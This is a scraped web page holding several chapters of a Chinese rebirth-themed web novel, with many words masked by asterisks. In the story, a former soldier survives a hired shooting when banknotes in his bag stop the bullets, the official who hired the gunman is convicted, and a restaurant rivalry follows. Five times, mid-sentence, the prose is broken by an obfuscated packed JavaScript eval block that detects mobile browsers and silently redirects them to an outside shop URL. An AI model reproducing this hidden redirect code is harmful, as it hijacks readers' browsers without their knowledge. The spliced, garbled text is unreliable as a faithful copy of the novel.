“厨师长真讲究,一个大老爷们出门还背个包。”
“当了八年兵,肯定跟一般农村小伙子不一样。”
那时候最大面额是十块地,两万块体积可不小,厚厚的两扎让他觉得不真实。
把挎包挂在脖子上,骑着车子重新上路。
这钱完全是他没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067824|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到的,心里也根本没指望侯正东能给这么多钱。
边走边想,就越觉得不对劲,侯正东的反应太反常了,一万块不是什么小数目,他想都没想就答应,连讨价还价的步骤都省了。
没道理,事出反常必有妖,这是前世非常流行的一句话。
四下里打量了一下,自行车刚骑出城区。
田野空旷,月色朦胧,冷风吹着路边的树杈呜呜作响。
黎军停下车子,摸出香烟点了一根烟,深深地吸了一口开始沉思。
同一时间,窝棚里的丁玄突然打掉徐良手里的香烟,用脚踩灭。
“有人过来了”
余粮用袖头擦了擦鼻涕,屏住呼吸看向外边,安静的夜里果然有自行车的声音传来。
他把脑袋伸出窝棚门框,土路上三辆自行车正吱吱呀呀过来。
“三辆自行车,六个人,应该不是他。”
丁玄探出脑袋观望,也不确定到底有没有目标人物。
但是六个人头倒是看得清楚,内心一阵挣扎。
六个人打死他也不敢下手,因为侯正东给他的**只有三发**。
三辆自行车瞬间从窝棚前骑过去,两个人躲在暗处,倒也安全。
“丁哥,那个骑自行车的大个子是不是那小子?”
余粮看着骑过去的三辆自行车问道。
“不是,这些人都是长头发,那小子是短头发。”
丁玄很笃定道。
吃饭时他注意观察过黎军,当时他没戴帽子,脑袋上的头发像是剃过没多久。
黎军的确前几天才剃过头,缝针时头发被剪得七零八落,伤口好了之后,干脆剃了一遍。
黎强六人光顾着赶路回家,根本没注意有个窝棚里有人想谋害他哥。
经过丁玄藏身的窝棚之后,屈战的自行车突然掉了链子,于是几个人就停下等他修车。
大概六零七零后都清楚,土路坑洼不平,自行车上下颠簸很容易掉链子。
耽搁了十几分钟后,屈战重新搭好链条。
“强哥,链子弄好了,咱们走吧!”
“急啥,抽根烟再走不迟。”
黎强给每人散了根烟,这几个人表现都不错,干活舍得出力,他已经开始接受他们了。
第55章 夜半**响
黎军抽完一根烟,也没想出个所以然来,干脆不想了,继续赶路。
上次弯道被**,现在每次经过这里,他都忍不住四下里打量一下。
就在他刚到上次被别停自行车的地方,一道手电光亮起,直直地射在他脸上。
“丁哥,就是他。”
“闭嘴”
黎军被强光照射,赶紧刹住车驻停。
“踏马的谁呀,有病吧!”
“砰……砰”
这边刚开骂,十多米外炸起两团火光,两声轰鸣随之响起,紧跟着黎军胸口位置,仿佛被八磅大锤抡圆了砸中。
瞬间懵逼,他拖着自行车倒下去的同时,意识到自己被枪击了。
大脑一阵空白,这泥马的也太寸了,重生才一个来月,刚发点小财,正准备撸起袖子加油干呢,这就又噶了。
八年老兵,懵圈了瞬间就反应过来。身体到底时,他下意识伸手去摸胸口,只觉得一阵阵刺痛传来。
丁玄不是头一次开枪,戴红袖章的年代,他是当地有名的小将,敢打敢拼,尤其是发展到最后的武力阶段,这货一天天就跟打了鸡血一样亢奋。
但是时隔多年,这**在空旷的田野里格外的刺耳和突兀,他也懵逼了许久,毕竟这是打在人身上了。
“丁哥,丁哥,人放倒了。”
余粮提醒道。
哦……哦,过去看看,希望他身上真的有钱。”
丁玄回过神来,将**插到后腰上,跟余粮一起往倒地的黎军走过去。
几十米外的黎强等人,刚把烟点上,就听到身后两声枪响。
“我滴妈呀!”
“啊”
“好像是**”
当时农村民兵经常打靶训练,对**不陌生。
几个人一起看向出事点,一道手电光上下晃动格外扎眼。
“好像有人躺那了,旁边还有自行车呢!”
眼尖的屈战惊呼道。
“赶紧走,是非之地别想着看热闹了。”
李春才提议道。在场的就他年龄大,头脑比较清晰。
黎军摸了摸胸口,刺痛中带着火辣的触感,是枪击无疑了。
他当兵上过前线,虽然没有经历过真的枪林弹雨,但是必要的训练和急救一点不差事。
深呼吸一下,胸口没有明显异常,说明胸腔并没有受到重创。
伸手摸到挎包,感觉到两个冒热气的小洞洞,心里顿时有底了。
应该是弹头被钞票挡住,动能抵消大半,这才让他死里逃生。
侯正东真是个福星啊,他给的钞票居然还有救命挡灾功能。
不知道当他知道,买**他的正是侯正东时,还会不会有这种感谢的心思。
扭头看向手电光处,十多米外两个人影正在靠近,其中一个正在把什么东西插在后背。
心里明悟,肯定是在收起**。
大脑迅速运转,两个人,**被收起来了,那么就有一战之力,多年的擒拿格斗军体拳练习,他从来不怀疑自己的武力值。
丁玄和余粮缓慢靠近,想看看黎军是不是真的**。
“应该**,我对准胸口打的。”
“嗯,这么近的距离,想不死都不难。”
夜幕里,余粮把手电筒照在黎军脸上,只见他眼睛紧闭,往下一照,胸口正中两个血洞格外明显。
丁玄松了口气,伸手就去扯黎军脖子上的挎包带子。
“咔吧”
突然间,他的手腕被两只铁钳一样的大手猛然抓住,手背一股巨力袭来,掌心向小臂内侧弯折。
擒拿手的金丝旋折腕,一般人根本反应不过来,上半身就会被死死钳制住。
丁玄一惊,伸手就要去后腰拔枪,黎军哪里会给他机会,抬腿一记正蹬,正中丁玄胸口。
抓着丁玄手腕并没有松开,身体迅速上挺,擒拿的胳膊反关节大力扭转,这货不自觉转过身去。
一只手迅速探出,抓向对方后腰处,果然是把**。
余粮只是愣神了瞬间,就看见黎军抓着丁玄的手腕起身,只是轻轻一扭,他的老大就身体旋转,轻松写意被缴了械。
这货也是个有眼力见的,一看丁玄被制住,手电筒朝黎军猛地一砸,撒丫子就往麦田里跑去。
黎军头一歪,躲过手电筒,抓着丁玄手腕的用力一抬,这货身体不受控制往前栽倒。
抬脚在他的膝关节狠狠地踩了一脚。
“啊……”
杀猪般的惨叫响起,正拔腿狂奔的余粮差点吓尿,这一声太凄惨了。
“站住,再跑老子开枪了。”
黎军大吼,就是吓唬对方,开枪的主犯都抓住了,同伙又能跑到哪里去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067825|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>远处的黎强听到这一声吼,浑身一个激灵,自行车也倒了。
“是我哥的声音。”
说完不等其他人反应过来,撒丫子就冲了过去。
其他人面面相觑,屈战弱弱地问道:“春才哥,咱们也上吗?”
“愣着干嘛,并肩子上啊!”
“就是,有难同当”
所有人自行车也不要了,撒丫子追着黎强往出事点狂奔。
余粮跑出去几十米一头栽倒,爬起来就跑不动了。
这时候小麦正在冬灌,浇过水的麦地一脚下去能陷没到膝盖,没几步两只鞋子都攮进烂泥地里,拔都拔不出来。
黎军捡起地上的手电筒,玻璃蒙子被摔碎,不过勉强还能用。
照了照丁玄的脸,发现自己根本不认识。
“你麻辣批的,老子这是啥运气,刚被拦路**一次,还没几天呢又来,我是欠你们的吗?”
往丁玄腰胯和肚子上狠狠来了几下,只听得这货胯下噗踏一声,一股浓烈的臭味袭来,居然拉裤里了。
“别打了,好汉别打了,我认栽了。”
丁玄怕自己被踩死,这家伙力大如牛,一脚下来,他就拉裤里了,再来几下,自己铁定得交代了。
“哥……是你吗?”
这时黎强的声音传来,黎军诧异,用手电筒照过去,只见弟弟带着屈战、李春才等人撒丫子跑过来。
于是松了口气,用手电筒在胸口打量,两个破洞血呼刺啦,用手按压之下,有硬物在胸口皮肤下顶着,不用说就知道是弹头了。
一阵后怕,要不是不放心把挎包挂在胸口,里边的钞票卸力,此刻他绝对已经跟着黑白无常上路了。
“哥……咋回事?”
黎强呼哧带喘地跑过来,抓着哥哥的肩膀急切道。
黎**电照了照麦田里的余粮:“那里还有一个,把他抓过来,哥被**了。”
黎强有些着急,脑瓜子嗡嗡的:“哥,你受伤了没,我听见枪响了?”
黎**电筒照了照自己胸口,血呼刺啦。
黎强一看,整个人都不好了。
“哥……这可咋办,打到胸口了……呜呜……我的哥呀,你这是倒了血霉了呀?”
这货带着哭腔的声音把黎军都整无语了,不过心里还挺感动的,弟弟这是真的在乎自己。
第56章 12.18枪击案(上)
“别担心,伤得不重,让牛子跟小权去报**。”
黎军拍了拍弟弟肩膀,让他放心。
“春才哥,屈战,赶紧把我哥送医院去,被枪打了还能不严重?”
黎强急得都要哭了。
“真的没事,先把这两个家伙捆起来再说。”
众人在黎军的指挥下,七手八脚用鞋带将丁玄和余粮绑了个苏秦背剑式。
“哎呀,这什么味啊,这么臭?”
屈战皱眉问,捆丁玄的时候,一股子恶臭熏得人睁不开眼。
“那家伙拉裤里了。”
“**,这么恶心。”
两个人趴在地上不断求饶,只觉得两个大拇指要被勒断了。
黎军摸着胸口,觉得两枚弹头就卡在皮肤下方,不过情况不明的情况下,也不敢贸然抠出来。
牛志强和蔺小权骑着自行车去报**,李春才、钟大伟和屈战留下看着行凶者。
黎强则带着黎军去了医院。
急诊大夫一听说是枪伤,还打在胸口上,当时就惊了,赶紧组织人手实施抢救,连早就睡下的院长都给惊动了。
“大夫,真的不用拍片子,没啥大事,弹头我都能摸到呢!”
黎军听大夫安排,还要拍片子,准备手术室啥的,赶紧给大夫解释。
“能摸到弹头?”
大夫疑惑道。
黎军指了指自己的挎包:“挎包挂在胸前挡住了**,要不然打在位置早就噶了!”
大夫松了口气,这才仔细检查起伤口来。
他用镊子试探了一下:“嗯,真的没事,你运气太逆天了,这里打进去,就是不伤到心脏,也会打穿大动脉,你连两分钟都活不过就得挂了。”
黎军后怕的冷汗都出来了。
“看来以后放屁都得多加小心,万一砸到脚后跟就不好了,因为今天怕是把两辈子的运气都用上了。”
大夫都被逗笑了:“呵呵,你这小同志不知道害怕吗,被**还这么心大。”
“医生,我哥都被抢习惯了,前几天才被抢过一次,还是同样的地点,不过这次升级了,**犯动用了**。”
说道**,黎强突然看向黎军:“哥,那家伙的枪呢?”
医生也看向黎军,这可是大案子。
“你们报案了没?”
“报了,**应该马上就会到了。”
黎军说着,从挎包里摸出**。
医生护士都吓了一跳,惊恐地看向他。
“放心吧医生,我是个上过前线的老兵,保险已经关了。”
几声清脆的咔嗒声响起,黎军卸下**,一推出弹口,一枚黄澄澄的**弹出。
“**,有效射程五十米,**保养得非常好,三十年了还能正常使用。”
“把枪放下,小心误伤了他人。”
就在黎军打量**的时候,门口突然响起冰冷且急促的声音。
几个**鱼贯涌入,医生皱眉道:“进来这么多人干嘛,赶紧出去,这是手术室。”
乔峰超紧张的看着黎军的手,自己的手也按在腰间。
黎军将**和**一起放到手术器具车上。
“乔队长,又见面了。”
乔峰超收起**,这才松了口气:“怎么又是你,你这运气也是没谁了,一个月都不到吧,居然被抢了两次,这次还动了枪。”
黎军翻了个白眼:“我也不想啊,这次差点**,你看。”
乔峰超看向医生:“大夫,伤得怎么样?”
医生没好气道:“你赶紧出去,他需要手术,弹头还留在胸口呢!”
黎军解开的胸口,两个血洞已经肿起,血呼刺啦的格外显眼。
乔峰超一脸紧张:“好好好,我去外边等着。”
走廊上,黎强问道:“**同志,那两个**抓回去了吧?”
“必须的,那边正连夜审呢,我不放心受害者,特意过来看看的。”
乔峰超正在打量手里的**,他们警用配枪也是同样款。
“你是怕**还在我哥手里吧?”
黎强看他的注意力都在**上,就戏谑道。
“呵呵,这是涉案证物,必须第一时间归案。”
一个小时后,医生和护士从急诊室出来。
“伤口处理完了,运气真是逆天,要不是有挎包里的东西挡着,这人绝对就凉了。”
医生指着护士手里的托盘,两枚有些变形的弹头带着血丝。
乔峰超看了看托盘,又看了看医生:“他……没事吗?”
“没大事,但是需要留院观察几天,再打几天消炎针,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067826|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枚弹头打在胸骨上了,有轻微的裂纹。”
黎强松了口气:“谢天谢地,我哥没事就好。”
这时黎军也走了出来,护士帮他提着吊瓶。
“谁去办下住院,他需要住院观察几天。”
“我去”
黎强刚跑去办住院,李春才屈战等人也进了医院。
“大军,怎么样,伤得重不重?”
“军哥,伤哪了?”
“怎么样了,**取出来了没?”
一群人呜呜渣渣地挤满了走廊。
黎军除了胸口有些痛,其他没啥,就是有点劫后余生的感觉,这比他重生还要来的震撼。
病房里,安顿好之后,乔峰超简单问了一下事情的经过,就准备回局里了。
那边才是重点,枪击案可是大案子,全国严打还没有完全落幕,居然发生了这么大的案子。
“对了,黎军同志,你的挎包和钱还得暂时交给我,那都是证物。”
乔峰超指着被打出两个洞的军用挎包。
黎军顿觉牙疼:“这不行吧,这可是我的钱,打烂了也能用的!”
乔峰超笑笑:“你可真是财迷,舍命都不舍财,钱不会少了你的,结案后会还给你的。”
“哦……这样子啊,那你拿走吧,可别弄丢了,也别弄乱顺序,这可是两万块,还是我的救命钱,我都想好了,这些钱以后绝不能花出去,我要按照原样子裱进镜框里,时刻提醒我的命怎么来的。”
乔峰超都被逗笑了:“你就这么不相信**吗,生怕我们黑了你的钱?”
被戳破后,黎军老脸一红:“呵呵,咱是小老百姓,挣点钱容易吗?”
与此同时,侯正东坐在客厅里抽烟喝茶,脸色平静看不出异常。
特殊年代里,比这糟心的事他也经历过,那时候纷乱无序,许多**假案都不了了之了。
董莹看他在喝茶有些意外,从儿子出事后,侯正东的喝茶习惯都没了。
“咋了,那杂种答应撤诉了?”
侯正东点头:“算是吧,多花了三万块,就当是破财免灾了。”
董莹一听又出去三万块,都要气吐血了。
“该死的**,心黑的能开染坊了,老天爷咋不下道闷雷劈死他呢,生儿子没**的杂碎。”
第57章 12.18枪击案(下)
“哎呀,你在家里就别咧个破嘴大骂了,风水都给你败坏了,那小子以后想上诉都……”
侯正东皱眉训斥老婆,不小心差点把没机会几个字说出来。
人都说不是一家人,不进一家门,董莹跟他过了二十多年,对他的秉性了若指掌。
“你做了什么,钱给了就算了,犯不上冒险,现在日子太平了,把心思放在事业上,要是能再往上挪挪就好了。”
侯正东心里冷哼:现在郭**都知道自己养了个**犯儿子,目前这位置能不能保住还两说呢。
都怪黎军那杂碎,还有华家人,一家子没品的货,还有自己儿子,简直就是个脑残的垃圾……当然了,能教出垃圾的他妈也是个不成欠的……
侯正东这一刻把所有人都埋怨进去了,仿佛整个世界都欠他的,唯独没有想到自己的过错。
见侯正东没搭理自己,董莹再次追问道:“你没做啥蠢事吧?”
突然,她想起了之前侯正东从床底下翻出**的事情。
“天哪,你不会……”
下边的话她不敢说了。
侯正东阴沉着脸:“哼,老子的钱不是那么好拿的,想讹老子的钱,也要有命花才行。”
董莹吓得更年期都不会更了,就觉得浑身都充满了绝望。
“万一事情露馅可咋整,这可是要掉脑袋的,你怎么就不能忍忍呢!”
侯正东撇撇嘴:“我让丁玄去的,他做事靠谱,乌漆嘛黑的**都看不见,不会出啥问题。”
“丁玄……哎,就怕出意外啊,我这心里慌得很!”
董莹还是不放心,丁玄她知道,以前帮她家侯正东做了不少见不得人的事,一次也没出过意外。
但这次可是**啊,心里有底就见了鬼了。
临县**局,审讯室里。
丁玄的确仗义,说自己在食堂吃饭,见到黎军背着挎包经过,估计里边是钱,属于是见财起意。
**是来自十年特殊时期,当时他是造饭派司令等等。
反正就是自己见财起意,跟别人无关。
但是审讯余粮这里出入就大了,这货被带上银镯子心里就突突了,一进审讯室更是直接尿了。
交代是有人出了一万块钱,点名让丁玄对付黎军,而且那人说了,黎军身上还有两万块,得手后也归丁玄所有。
余粮充其量就是个蟊贼,卖嘴的把式,这种大案子借他个胆子也不敢下手。
审讯**都是老狐狸,一眼就能分辨谁说了假话。
好家伙,还有幕后主使,妥妥的买凶**案。
医院里,**也给黎军做了笔录,事情的经过尽数掌握,自然也问及到他的钱怎么来的。
黎军都如实告知,这是侯正东自愿出的钱,不存在敲诈勒索一说。
也只有侯正东知道他手里有两万块钱,所以一切都对上了。
丁玄被再次审讯,**直接把侯正东给他钱买凶**说出来,这货直接就蔫了。
雇主都交代了,他一个受雇的还隐瞒个鸡毛。
最后丁玄交代,**也是侯正东提供的。
法律上没有买凶**罪,都是以故意**论处。
侯正东严重触犯律法,谁也保不了他。
至此,12.18枪击大案迅速告破。
不过在抓捕侯正东的时候出了点意外,当时他正上班,有人提前给他打电话,说凶手已经交代清楚,**马上要去抓他。
侯正东其实在第二天一大早去了丁玄家里,发现他不在家就知道要坏菜,已经做好了潜逃的准备,提前让董莹去买了南下的火车票。
最终他和董莹是在火车上被抓住的,两个人被带回**局后一脸死灰,一切都完了。
**落网后,乔峰超皱起了眉头,审讯结果一出来,他就带人去抓侯正东,但是对方还是提前得到了消息。
**局里,谁跟**熟悉他最清楚,不用怀疑就知道是宁万征局长。
为此他多了个心眼,向二把手包全民反应了这一情况,包全民放下手里的工作,当时就去安市**三处找直属上司汇报去了。
黎军在医院待了三天就出院了,他的伤根本没大碍,二食堂正处在关键时期,长时间不在岗怕影响生意。
这三天里,李莉莎抽空就会去医院探望,关心程度比黎父黎母都上心。
碰到二老的时候,那声音嗲得让黎军直掉鸡皮疙瘩,一再跟她说工作重要,让她别来了,但是对方依旧我行我素。
出院的时候,水果、麦乳精、鸡蛋糕更是拿了一大堆。
黎军当时都给逗笑了,觉得这女孩脑回路清奇,自己是皮外伤,牙口胃口都没问题,带这些营养品把自己当没牙老头吗?
侯正东落网后,枪击案就可以结案了,审判定在一周后进行。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067827|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当时得知是侯正东买**自己,黎军都惊麻了,不停反思自己是不是太贪得无厌,把人给逼上头了。
后来**在搜查侯正东家以及农村老家时,发现了大量来路不明的财物。
文房四宝,古玩字画,稀有文物,甚至还有五十多根民国时期的大黄鱼。
这些东西在那个特殊时期都是被清算的对象,当时有不少人家里被红袖章扫荡过。
他在县城的房子床下,还搜出现金两万多块,**枪一把,**若干。
一个基层**,单是这些东西都足以把他送上不归路,买凶**只是他东窗事发的一个**而已……
最终,侯正东买凶**被定性**未遂,**,大量来路不明财物,私藏倒卖珍贵文物、****,知法犯法等,数罪并罚之下被判处无期徒刑,没收所有财物并处罚金五千。
董莹因为教唆、包庇、倒**家珍贵文物等罪名,被判**十二年。
丁玄****未遂、**、****等数罪并罚,被判了**。
余粮倒是没啥大事,平时除了一点偷鸡摸狗的琐事,枪击案中什么也没做,认罪态度也好,被判**一年零六个月监禁。
判决书下达后,这些人个个面如死灰。
尤其是侯正东,从十年特殊时期到现在,可以说是他的人生巅峰时期。
然而**,疏而不漏,他所犯下的罪行,终需他用尽后半生去赎罪。
董莹在宣判之后当场状如疯魔,直接黎军破口大骂。
“都是因为你这杂种,才毁了我们一家子,你不得好死,我做鬼也不会放过你……”
黎军气笑了:“你儿子不拦路**,能出这种事?
就顾着自己舒坦,生了个讨债的棒槌还有脸在这叫嚣,惯子如杀子都不懂,你也别在这撒泼了,是想逼我再提出上诉吗?”
董莹顿时卡壳,一句话也说不出来,对法律程序不懂的她,根本不知道,判决生效后,就没机会上诉了,想要推翻原判,需要做的事太多。
黎军最终也没有再上诉,侯胜利和党朝阳维持原判,继续在青砖厂**五年。
侯胜利在得知父母也因为自己的事情进去后,整个人都傻了。
他的鲁莽葬送了全家人,就因为华家人的贪婪和虚荣……
仇恨的种子也因此埋下,他恨不得能活撕了姓华的全家。
第58章 最蛋疼的模仿
案子彻底了结后,十二月也来到了月底。
这天下午,乔峰超来了二食堂,将黎军的挎包和钱还给了他。
“你要不要数一下,万一少了几张的话,损失可就大了。”
戏谑的语气让黎军老脸一红:“乔队长别开玩笑了,咱是那小气的人吗,你不着急走吧?”
“咋了,真的要数啊,那我等你一会,反正也不忙。”
“我想请你喝几杯,交个朋友,都是当兵的。”
黎军记得很清楚,这个乔峰超因为工作能力出众,从临县一个**队长一路升迁到安市局长。
这人巴结好了,以后可是一个很有力的人脉呢!
乔峰超欣然应允,两个人聊了一会案子,又聊了一些部队上的事情,倒是相谈甚欢。
“宁局调走了,最后抓捕侯正东时,他通风报信了,差点给那家伙跑了,是我点的炮。”
黎军对他的坦然竖起了大拇指,彩虹屁适时地送上:“乔哥是个有正义感的**,兄弟佩服,你们是老百姓的守护者,真该多些像你这样有正义感的人民卫士。”
乔峰超爽朗大笑:“虽然知道你在拍马屁,我却特别受用,你也不错,很对我的胃口。”
李莉莎过来上菜:“军哥,菜上齐了,还需要加什么吗?”
“不用了,你去忙吧!”
“这位**大哥挺面熟,军哥不介绍下吗?”
黎军没好气:“我说小包同志,你去忙你的,这边真的不需要你了。”
乔峰超礼貌笑道:“小包同志很热心嘛,我叫乔峰超,很高兴认识你。”
李莉莎脸黑,嗲着嗓音道:“军哥讨厌**,你才是小包同志,不理你了。”
气鼓鼓离开。
黎军一身鸡皮疙瘩。
乔峰超诧异:“不是姓包吗?”
“我给起的外号,包打听,啥都打听。”
“哈哈哈,人家可能是喜欢你吧!”
黎军头疼:“可我不喜欢她,一天天粘人得很,把我真正喜欢的人都给挤一边去了。”
乔峰超喝了一杯酒:“不喜欢就明确地告诉人家,断了念想,别婆婆妈妈的让人误会。”
黎军想了想,觉得自己是做错了。
“12.18案可以说是临县近年来最大的一起案子了,你老弟可以说是我的福星呢!”
“为什么这么说?”
说道12.18案,黎军突然想起来了,前世也有这么个案子,挺轰动的,主角好像就是侯正东,不过这次受害者变成了自己。
“案子是我负责的,举报宁万征也算立功表现,身份也往上提了一级呢!”
“恭喜恭喜,身份越高,责任就越大,你这样的人民**,权利越大越好。”
“哈哈哈……”
两个人喝了一瓶酒分开,黎军带着钱去银行,两万块可不是小数目,够普通农村家庭奋斗好几年呢!
晚上,徐良带了饮食公司的一杆子领导来二食堂吃饭。
左**是行政总厨,依然也在领导班子之内。
刘小福简单汇报了一下,这个月二食堂的营业额已经超两万六,比一食堂还多了三千多。
安国强和刘战胜都大加赞赏,二食堂有这样的营业额,解散危机很自然地解除了。
黎军也松了一口气,一个月努力终于没有白费。
目前来讲,二食堂的差使对他很重要,是他在餐饮界站稳脚跟的最重要平台。
也是他重生踢出第一步的良好开端,有了这个平台,他在饮食公司就有了话语权。
这样以后等承包制到来,顺利接手这个大便宜就变得容易很多。
“对了左总厨,听服务员说,一食堂中旬也开推出了花色早点,生意怎么样?”
上完菜,刘小福当着一群领导问道。他把花色早点几个字咬得特别重,领导们听得一脸无语,尤其是左**,像是便秘了一个礼拜一样。
一食堂生意没啥大的波动,但是左**却坐不住了。
他每时每刻都在关注二食堂的生意,其中有个会计也跟他关系不错,大事小情,一点风吹草动都会主动告诉他。
两周前,他得知二食堂的营业额之后,直接就慌了,没有婚丧嫁娶的包席,营业额已经稳超一食堂了。
黎军说这个月营业额要做到第一,这对他的身份地位是个严峻的挑战。
于是就搞起了业内最无耻最蛋疼的那一套……模仿,卤肉熟食早餐一股脑全上。
卤肉倒是马马虎虎,这玩意资深厨子都能做得有模有样,区别就是细节,需要口碑,口味以及时间打磨才能决出优劣。
但是早餐就不行了,这玩意??响猪叫唤的事,立竿见影。
面案是个要求极高的技术活,虽说只有两套半技术
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067828|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但是有些人穷其一生也只是个二把刀。
由于是匆忙上马,没找到适合的面案厨子,左**就亲自上马。
他以前面案做得马马虎虎,但是好几年不沾手就太勉强了。
冬天温差过大,发面技术更考验平时经验积累。
包子面团头一天没起发好,蒸出来的包子全是鬼手青,面皮硬邦邦的能打死狗。
自己人都说是鬼捏了不愿意吃,更别说卖给顾客了。
左**看着出锅的包子脸色黑如锅底,一辈子的英明都给毁了。
第二天把面团放在温水里发酵,结果加食用碱的时候没掌握好分量。
一掀笼屉,好家伙,清一色的军品,黄得发绿,把一群打下手的厨工都给惊呆了。
左**这次脸色如丧考妣,干了二十多年厨子,还没丢过这么大脸面呢!
第三天同样出师不利,面团涨发的马马虎虎,但是包子卖相就不敢恭维了。
排骨包子个个破皮,汤汁流得乱码七遭。
包包子的手法五花八门,各种形状加上大小不一,根本不是商业化该有的品相。
自己员工都戏谑地说是花色品种,把左**说得只想脚趾抠地。
口味也是一言难尽,虽然面案的制馅只算半套技术,真正掌握精髓的却是寥寥无几。
纯鸡肉馅干柴,需要加入葱姜水以及猪油调和,但是蒸的时间长了却容易渗出汤汁,导致包子破皮没有卖相。
排骨馅更不好操作,没有过硬的包包子手法,几乎包不出完整的生胚。
素包更考验技术,蔬菜包蒸制时间必须刚刚好,过长蔬菜发黄,犹如剩菜残羹,过短则不熟,根本没法子卖。
准备了三十屉包子,成品不足一半,而且只卖出去了不到三分之一。
那几天,一食堂员工怨声载道,包子吃得都要吐了,有人偷摸地把馅倒掉,只吃面皮。
一个早餐推出,左**直接把自己的人设都给整塌了。
于是改卖油条豆浆,肉夹馍豆腐脑这些。
但是每一项早餐推出,都需要市场的考验,开门一炮打不响,后期需要付出的努力就得翻倍,典型的事倍功半。
现在一提起一食堂的早餐,左**就觉得蛋都要碎了。
刘小福明显是故意的,拿花色品种取笑左**,而他的话也成功给自己拉到了一波仇恨。
第59章 率性而为
左**一脸讪笑地看了看一圈领导,然后看向刘小福:“把黎军叫过来,咱们三个食堂都是一家,让他帮忙指点一下一食堂的师傅们,那边的早点的确做得不咋样。”
徐良等人也无异议,置办餐具,食材啥的花了不少钱,总不能都打了水漂吧,现在二食堂的早餐忙不过来,分润一点给一食堂也无不可,都是自家的生意嘛!
黎军刚从炉子下来,李莉莎的茶杯子就递过来。
刚要接过来喝点,虽然不想搭理李莉莎,但是忙活了一下午,的确是有些渴了。
就在这时,伍一凡在后厨门口叫道:“黎师傅,刘经理叫你去包间呢。”
黎军顺势将茶杯推回去:“谢了,小李同志,以后别给我端茶倒水了,让别人看见不好。”
李莉莎怨毒地瞪了伍一凡一眼:“牛槽里多出张驴嘴,就你有眼色。”
伍一凡表情一滞,就觉得很委屈,自己这是招谁惹谁了,晦气得要死。
包间外,刘小福拉住黎军:“那笑面虎打你主意,在领导跟前给你挖坑呢!”
“什么意思,给我挖坑,要我跳才行啊!”
刘小福把左**刚才的话说了一遍,黎军听得有些想笑。
“他这是在想屁吃。”
进了包间,徐良笑呵呵地指着一个空座位让他坐下,现在他看黎军就跟亲人一样。
“大军,你可是咱们二食堂的大功臣,赶紧坐那休息一下,喝几杯放松放松。”
说着将手边的阿诗玛丢给黎军。
“各位领导好,吃得还满意吧?”
“小黎同志,二食堂现在生意有声有色,你当居首功,来来来,我们一起敬你一杯。”
安国强端起酒杯笑道。
饮食公司排得上号的领导挨个敬了一圈酒,黎军则是来者不拒,领导们给面示好,必须得兜着。
左**是半只眼睛也不想跟黎军套近乎,但是领导们都带头了,自己再端着就不像话了。
“小黎同志,我也敬你一杯,二食堂在你的带领之下,做得很不错。”
“难得总厨一句夸赞,多谢了。”
放下酒杯之后,其他人还没开口,左**直接开门见山,说起让黎军指点一食堂早餐的事情。
“小黎,一食堂推出的早餐比二食堂差点意思,前后换了好几个花色品种,生意却一直不见好,我的意思是安排你过去那边,帮一食堂把早餐也搞起来。
虽说我们都是独立核算,但是终归还是饮食公司的生意,肉烂了都在锅里不是吗,一食堂营业额上去了,在座各位领导脸上也有光不是。
这时候希望你有大局观,不要搞本位主义思想,不要藏私啊!”
左**说着环视一圈,大局观写了一脸。
“我呵呵你一脸!”
